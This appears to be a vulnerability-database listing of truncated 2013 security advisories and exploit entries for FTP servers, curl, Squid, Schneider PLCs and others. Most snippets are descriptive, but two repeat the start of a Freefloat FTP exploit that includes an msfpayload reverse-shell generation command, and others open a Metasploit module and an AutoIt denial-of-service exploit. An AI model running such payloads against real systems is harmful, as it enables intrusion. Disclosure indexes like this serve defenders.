Fedora Update for curl FEDORA-2013-5618

Check for the Version of curl OpenVAS Vulnerability Test Fedora Update for curl FEDORA-2013-5618 Authors: System Generated Check Copyright: Copyright c 2013 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the terms of...

Free Float FTP Server USER Command Buffer Overflow Vulnerability

Freefloat FTP Server is prone to an overflow condition. It fails to properly sanitize user-supplied input resulting in a stack-based buffer overflow. With a specially crafted 'USER' command, a remote attacker can potentially have an unspecified impact. This file is part of the Metasploit Framewor...

Free Float FTP Server USER Command Buffer Overflow

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit4 'Free Float FTP...

curl / libcURL "tailmatch()" Cookie信息泄露漏洞

CVECAN ID: CVE-2013-1944 cURL是命令行传输文件工具，支持FTP、FTPS、HTTP、HTTPS、GOPHER、TELNET、DICT、FILE和LDAP。 cURL/libcURL 7.29.0及之前版本的函数"tailmatch" lib/cookie.c通过matching tail根据域名匹配cookie路径域时出错，导致泄露另一个域的cookie。 0 cURL 7.x 厂商补丁： cURL ---- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://curl.haxx.se/...

USN-1801-1: curl vulnerability

YAMADA Yasuharu discovered that libcurl was vulnerable to a cookie leak when doing requests across domains with matching tails. curl did not properly restrict cookies to domains and subdomains. If a user or automated system were tricked into processing a specially crafted URL, an attacker could...

Easy FTP Server远程拒绝服务漏洞

BUGTRAQ ID: 58920 Easy FTP Server是基于Windows的多用户ftp服务器，具有Web访问界面。 Easy FTP Server 1.7.0.2及其他版本的Web接口在收到内容为空的$POST请求后，会进入无限循环并消耗大量CPU资源，导致拒绝服务。 0 easyftpsvr 1.7.0.2 厂商补丁： easyftpsvr ---------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： https://code.google.com/p/easyftpsvr/ Region ; Directives...

Freefloat FTP Server 1.0 - DEP Bypass with ROP

Freefloat FTP Server 1.0 - DEP Bypass with ROP !usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117...

Freefloat FTP Server 1.0 - DEP Bypass with ROP

!usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117 LPORT=443 R | msfencode -a x86 -b...

seamonkey

New seamonkey packages are available for Slackware 13.37, 14.0, and -current to fix security issues. Here are the details from the Slackware 14.0 ChangeLog: patches/packages/seamonkey-2.17-i486-1slack14.0.txz: Upgraded. This update contains security fixes and improvements. For more information,...

Easy FTP Server 1.7.0.2 Denial Of Service

Region ; Directives created by AutoIt3WrapperGUI AutoIt3WrapperOutfile=smdcpu.exe AutoIt3WrapperUseUpx=n AutoIt3WrapperChange2CUI=y EndRegion ; Directives created by AutoIt3WrapperGUI include "WinHttp.au3" include cs easyftpsvr-1.7.0.2 CPU consumption exploit. The vulnerability is due...

[SECURITY] Fedora 17 Update: squid-3.2.9-1.fc17

Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects. Unlike traditional caching software, Squid handles all requests in a single, non-blocking, I/O-driven process. Squid keeps meta data and especially hot objects cached in RAM, caches DN...

AMI Firmware Source Code, Private Key Leaked

Source code and a private signing key for firmware manufactured by a popular PC hardware maker American Megatrends Inc. AMI have been found on an open FTP server hosted in Taiwan. Researcher Brandan Wilson found the company’s data hosted on an unnamed vendor’s FTP server. Among the vendor’s...

subversion

New subversion packages are available for Slackware 13.0, 13.1, 13.37, 14.0, and -current to fix security issues. Here are the details from the Slackware 14.0 ChangeLog: patches/packages/subversion-1.7.9-i486-1slack14.0.txz: Upgraded. This update fixes some denial of service bugs: moddavsvn...

CVE-2013-2761

The Schneider Electric M340 BMXNOE01xx and BMXP3420xx PLC modules allow remote authenticated users to cause a denial of service module crash via crafted FTP traffic, as demonstrated by the FileZilla FTP client...

Design/Logic Flaw

The Schneider Electric M340 BMXNOE01xx and BMXP3420xx PLC modules allow remote authenticated users to cause a denial of service module crash via crafted FTP traffic, as demonstrated by the FileZilla FTP client...

CVE-2013-2761

Summary: CVE-2013-2761 affects Schneider Electric M340 BMXNOE01xx and BMXP3420xx PLC modules. Vulnerability: Remote authenticated users can trigger a denial of service (module crash) by sending crafted FTP traffic (as demonstrated with FileZilla). Impact: Partial availability loss of the affected...

mozilla-thunderbird

New mozilla-thunderbird packages are available for Slackware 13.37, 14.0, and -current to fix security issues. Here are the details from the Slackware 14.0 ChangeLog: patches/packages/mozilla-thunderbird-17.0.5-i486-1slack14.0.txz: Upgraded. This release contains security fixes and improvements...

Core FTP < 2.2 build 1769 Multiple Buffer Overflows

The version of Core FTP installed on the remote host is prior to 2.2 build 1769 2.2.1768.0. It is, therefore, affected by multiple buffer overflow vulnerabilities because user-supplied input is not properly validated when handling directory names. A remote attacker could potentially exploit this...

Sami FTP Server LIST command buffer overflow

Added: 04/01/2013 BID: 58247 OSVDB: 90815 Background Sami FTP Server is an FTP server for Windows. Problem Sami FTP Server is affected by a buffer overflow vulnerability. A remote attacker could exploit this vulnerability by sending a long, specially crafted LIST command to the server, resulting ...

Sami FTP Server LIST command buffer overflow

Added: 04/01/2013 BID: 58247 OSVDB: 90815 Background Sami FTP Server is an FTP server for Windows. Problem Sami FTP Server is affected by a buffer overflow vulnerability. A remote attacker could exploit this vulnerability by sending a long, specially crafted LIST command to the server, resulting ...